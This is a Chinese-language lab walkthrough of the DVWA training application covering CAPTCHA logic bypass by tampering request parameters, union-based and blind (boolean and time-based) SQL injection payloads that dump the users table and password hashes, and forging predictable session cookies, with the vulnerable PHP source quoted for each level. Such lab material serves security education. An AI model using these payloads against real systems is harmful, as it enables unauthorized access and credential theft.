DVWA通关教程(中)
不安全的驗證碼(Insecure CAPTCHA)
Insecure CAPTCHA(不安全的驗證碼)主要是繞過驗證碼的安全驗證,一般都有邏輯漏洞。
難度(low)
審計代碼
<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the userecho "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} }if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>符合POST請求里帶Change、step是2的條件,就可以直接跳過第一步的驗證碼。
通過Burp代理,修改step=2,就可以繞過第一步,從而再利用CSRF漏洞成功修改密碼。
使用burp抓包,將step=1改成2,就可成功繞過
難度(Medium)
審計代碼
<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the userecho "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} }if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if they did stage 1if( !$_POST[ 'passed_captcha' ] ) {$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";$hide_form = false;return;}// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>?
查看服務器端核心代碼可知,Medium級別的代碼在第二步驗證時,參加了對參數passed_captcha的檢查,如果參數值為true,則認為用戶已經通過了驗證碼檢查,然而用戶依然可以通過偽造參數繞過驗證,本質上來說,這與Low級別的驗證沒有任何區別。
可以通過抓包,更改step參數,增加passed_captcha參數(passed_captcha=true)
改前
改后
然后我們就成功的修改了密碼,繞過了驗證碼
難度(high)
審計代碼
<?phpif( isset( $_POST[ 'Change' ] ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);if ($resp || ($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')){// CAPTCHA was correct. Do both new passwords match?if ($pass_new == $pass_conf) {$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for userecho "<pre>Password Changed.</pre>";} else {// Ops. Password mismatch$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} else {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }// Generate Anti-CSRF token generateSessionToken();?>滿足一下任一條件就可以去修改密碼:
1、驗證碼為真
2、g-recaptcha-response為hidd3n_valu3并且HTTP_USER_AGENT為reCAPTCHA。
很明顯,第二條可以通過Burp來繞過驗證碼。
改前:
改后:
執行,密碼更改成功
SQL注入(SQL Injection)
一、SQL注入概念
SQL注入是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。
二、手工注入常規思路
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解SQL查詢語句中的字段數
3.確定回顯位置
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.得到數據
難度(low)
審計代碼
<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]); }?>分析源碼,可以看到沒有對參數做任何的過濾
判斷是否存在SQL注入
1.輸入1提交
2.輸入1'提交
3.輸入1 and 1=1 提交
4.輸入1 and 1=2 提交
由上可以看出是存在注入點的,并且是以單引號閉合的,我們猜測sql查詢語句是這樣的: ?
select First name的列名 and Surname的列名 from 表名 where id的列名 ='我們輸入的id'判斷列數
1' order by 2#
1' order by 3#
確定顯示的位置(SQL語句查詢之后的回顯位置)
union注入
1' union select 1,2# #從下圖可以看出有2個回顯
查詢當前的數據庫,以及版本
1' union select version(),database()#
獲取數據庫中的表
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#
獲取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
獲得字段中的數據
1' union select user, password from users#
這里密碼使用了MD5加密,可在https://www.cmd5.com/進行解密
?
難度(medium)
中級加入了一些防御,,不讓用戶輸入,只提供選擇(可以用burpsuit抓包來繞過),需要把瀏覽器設置為代理
分析源碼可以看到對參數使用mysql_real_escape_string函數轉義sql語句中的一些
我們可以利用burp修改數據包,繞過防御。判斷注入點,以及注入的類型,
我們轉到Repeater進行操作
根據low關卡知道存在SQL注入,這里就不多演示,我們從爆數據庫開始
查詢當前的數據庫,以及版本
1?union select version(),database()#
獲取數據庫中的表,
1?union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#
獲取表中的字段名,考慮到單引號被轉義,可以利用16進制繞過。(‘user’)
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
獲得字段中的數據
1?union select user, password from users#
?
難度(high)
可以看出,點擊“here to change your ID”,頁面自動跳轉,防御了自動化的SQL注入,分析源碼可以看到,對參數沒有做防御,在sql查詢語句中限制啦查詢條數,可以通過burpsuit抓包,修改數據包實現繞過。
方法跟前面的差不多,這里就不多演示了,直接爆賬號密碼
?獲取賬號密碼
1' union select user,password from users#
SQL注入(盲注)(SQL Injection (Blind))
1.SQL盲注介紹
SQL盲注與一般注入的區別在于一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示 頁面上獲取執行的結果,甚至連注入語句是否執行都無法得知。
2. SQL盲注原理
盲注的話,就像跟一個機器人聊天,但是這個機器人只會回答“是”與“不是”,因此,得從一個大的范圍去問是與不是,然后慢慢的縮小范圍,最后就是類似于問“數據庫名字的第一個字是不是a啊”這樣的問題,通過這種機械的詢問,最終得到我們想要的數據。
盲注分為:基于布爾的盲注、基于時間的盲注、基于報錯的盲注
3.盲注的一般步驟
判斷是否存在注入、注入是字符型還是數字型
猜解當前數據庫名
猜解數據庫中的表名
猜解表中的字段名
猜解數據
布爾型盲注
1.布爾盲注利用前提 頁面沒有顯示位,沒有輸出SQL語句執行錯誤信息,只能通過頁面返回正常不正常來判斷是否存在注入。 2.布爾盲注利用 該語句判斷數據庫個數,當數據庫個數大于n頁面顯示正常 (select count(schema_name) from information_schema.schemata)> n該語句判斷數據庫內第一個數據庫名有多少字符,字符個數大于n頁面顯示正常 (select length(schema_name) from information_schema.schemata limit 0,1)> n該語句判斷第一個庫第一個字符是什么,ascii值大于n頁面顯示正常 (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n相關函數學習 Length() 返回字符串的長度 substr() 截取字符串,偏移是從1開始,而不是0開始 ascii() 返回字符的ascii碼 count(column_name) 返回指定列的值的數目(NULL 不計入)時間盲注
1.時間盲注利用前提 頁面上沒有顯示位,也沒有輸出SQL語句執行錯誤信息。 正確的SQL語句和錯誤的SQL語句返回頁面都一樣,但是加入sleep(5)條件之后,頁面的返回速度明顯慢了5秒。 2.時間盲注利用 該語句判斷數據庫個數,當數據庫個數等于n頁面返回延遲5秒 if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)該語句判斷數據庫內第一個數據庫名有多少字符,字符個數等于n頁面返回延遲5秒 if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)該語句判斷第一個庫第一個字符是什么,ascii值等于n頁面返回延遲5秒 if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)相關函數學習 Length()函數 返回字符串的長度 substr()截取字符串 ascii()返回字符的ascii碼 sleep(n):將程序掛起一段時間 n為n秒 if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句 count(column_name)函數返回指定列的值的數目(NULL 不計入)難度(low)
審計代碼
?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();// Get resultsif( $data->rowCount() == 1 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}} }// Generate Anti-CSRF token generateSessionToken();?>開始操作:
輸入1顯示存在
輸入1 and 1=1 或 1 and 1=2均顯示存在
輸入1' and 1=1 #顯示存在(這三種都顯示存在)
輸入1' and 1=2 #不存在
存在字符型的盲注。
?
布爾盲注:
1.查數據庫前要先判斷數據庫的長度
依次輸入1' and length(database())=x #(x為大于等于1的整數)
當顯示存在時即為數據庫長度
發現當x=4時顯示存在,故數據庫長度為4
2.二分法找數據庫名
依次輸入1' and ascii(substr(databse(),1,1))>或<字母的ascii值 #通過比較輸入字母的ascii值的顯示正常與否來逐個確定庫名
重復上述步驟,就可以得到完整的數據庫名dvwa
3.找數據庫中的表
首先確定數據庫中表的數量
1' and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x為大于等于1的整數)
當顯示存在時即可判斷表的數量
最終當x=2顯示存在即表的數量為2
然后確定表的長度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x為大于等于1的整數)
當顯示存在時即可判斷表的長度
當x=9顯示存在即表的長度為9
然后同樣二分法確定表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #
通過比較輸入字母的ascii值的顯示正常與否來逐個確定表名
重復上述步驟可得到出兩個表名guestbook、users
4.找表中的字段
首先找到字段的數量
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=x #
當顯示存在時即為字段數
最后當x=8時顯示存在即字段數users字段數為8
然后找字段名
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=x #
當x=7時顯示存在即users表的第一個字段為7個字符長度
最后也是二分法確定字段名
?
時間盲注:
1.判斷注入類型
輸入1’ and sleep(6) #,有明顯延遲; 輸入1 and sleep(6) #,沒有延遲;說明為字符型盲注
2.找庫名
先確定庫名長
1' and if(length(database())=1,sleep(5),1) # 沒有延遲 1' and if(length(database())=2,sleep(5),1) # 沒有延遲 1' and if(length(database())=3,sleep(5),1) # 沒有延遲 1' and if(length(database())=4,sleep(5),1) # 明顯延遲庫名長度為4
然后通過二分法找庫名
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲...1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲說明數據庫名的第一個字符為小寫字母d。...重復上述步驟即可找到庫名
3.找庫中表名
先確定表的數量
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲可以確定表的數量為2
然后確定表的長度
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲...1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲可以確定第一個表的長度為9
最后二分法找到表名
4.找表中的字段
先確定字段的數量
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲...1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲可以確定users字段的數量為8
然后依次確定字段名
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲...1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲說明users表的第一個字段長度為7
最后再用二分法確定字段名
?
難度(medium)
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}//mysql_close(); }?>可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號
\x00,\n,\r,\,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。
可以通過過抓包來實現sql盲注
前面有類似的情況,這里就不多演示了
難度(high)
審計代碼
<?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>可以看到,High級別的代碼利用cookie傳遞參數id,當SQL查詢結果為空時,會執行函數sleep(seconds),目的是為了擾亂基于時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。
?
漏洞利用:
雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。但由于服務器端執行sleep函數,會使得基于時間盲注的準確性受到影響,這里我們只演示基于布爾的盲注:
抓包將cookie中參數id改為1’ and length(database())=4 #,顯示存在,說明數據庫名的長度為4個字符;
抓包將cookie中參數id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度為9個字符;
抓包將cookie中參數id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進制),顯示存在,說明uers表有8個字段。
?
?
弱會話IDs(Weak Session IDs)
簡介:
用戶登錄后,在服務器就會創建一個會話(session),叫做會話控制,接著訪問頁面的時候就不用登錄,只需要攜帶
Sesion去訪問。
sessionID作為特定用戶訪問站點所需要的唯一內容。如果能夠計算或輕易猜到該sessionID,則攻擊者將可以輕易獲取訪問權
限,無需錄直接進入特定用戶界面,進而進行其他操作。
用戶訪問服務器的時候,在服務器端會創建一個新的會話(Session),會話中會保存用戶的狀態和相關信息,用于標識用戶。
服務器端維護所有在線用戶的Session,此時的認證,只需要知道是哪個用戶在瀏覽當前的頁面即可。為了告訴服務器應該使
用哪一個Session,瀏覽器需要把當前用戶持有的SessionID告知服務器。用戶拿到session id就會加密后保存到 cookies 上,
之后只要cookies隨著http請求發送服務器,服務器就知道你是誰了。SessionID一旦在生命周期內被竊取,就等同于賬戶失竊。
Session利用的實質 :
由于SessionID是用戶登錄之后才持有的唯一認證憑證,因此黑客不需要再攻擊登陸過程(比如密碼),就可以輕易獲取訪問權
限,無需登錄密碼直接進入特定用戶界面, 進而查找其他漏洞如XSS、文件上傳等等。
Session劫持 :
就是一種通過竊取用戶SessionID,使用該SessionID登錄進目標賬戶的攻擊方法,此時攻擊者實際上是使用
了目標賬戶的有效Session。如果SessionID是保存在Cookie中的,則這種攻擊可以稱為Cookie劫持。SessionID還可以保存
在URL中,作為一個請求的一個參數,但是這種方式的安全性難以經受考驗。
?
難度(low)
審計代碼
<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id'])) {$_SESSION['last_session_id'] = 0;}$_SESSION['last_session_id']++;$cookie_value = $_SESSION['last_session_id'];setcookie("dvwaSession", $cookie_value); } ?>用戶訪問服務器的時候,一般服務器都會分配一個身份證 session id 給用戶,用于標識。用戶拿到 session id 后就會保存到 cookies 上,之后只要拿著 cookies 再訪問服務器,服務器就知道你是誰了。
但是 session id 過于簡單就會容易被人偽造。根本都不需要知道用戶的密碼就能訪問,用戶服務器的內容了。
開始操作:
low級別未設置過濾,直接用bp抓包,可以清楚的看到dvwaSesion的cookie,每重放一次,dvwaSesion增加一:
構造payload:dvwaSession=12; security=low; PHPSESSID=9uu34n47j66u3g420tv8j7chu0
通過火狐瀏覽器的hackbar,提交,選擇cookie提交方式,為驗證有效性,清楚一下瀏覽器的cookie值,提交后發現直接登錄dvwa,繞過密碼驗證:
?
難度(medium)
<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = time();setcookie("dvwaSession", $cookie_value); } ?>medium 的源碼是基于時間戳生成的。
medium級別是基于時間戳生成dvwaSesion的,關于時間戳轉換,直接查找轉換器進行轉換即可
通過設置時間戳,可知誘騙受害者在某個時間點基進行點擊,
難度(high)
high級別使用了PHP setcookie()函數,來設置cookie:
setcookie(name,value,expire,path,domain,secure,httponly)
?參數 ?? ? ? ? ? ? ? ? 描述
name ?? ? ? ?必需。規定cookie的名稱。
value ?? ? ? ?必需。規定cookie的值。
expire ? ?? ?可選。規定cookie的有效期。
path ?? ? ? ?可選。規定cookie的服務器路徑。
domain ?? ? ? ?可選。規定cookie的域名。
secure ?? ? ? ?可選。規定是否通過安全的HTTPS連接來傳輸cookie。
httponly ?? ?可選。規定是否Cookie僅可通過HTTP協議訪問。
抓包發現,dvwaSesion值很像md5加密,使用md5解密,發現是對從零開始的整數進行加密;構造payload使用火狐提交。
?
?
?
?
總結
以上是生活随笔為你收集整理的DVWA通关教程(中)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php一句话后门学习(含免杀)
- 下一篇: kail利用msf工具对ms11-003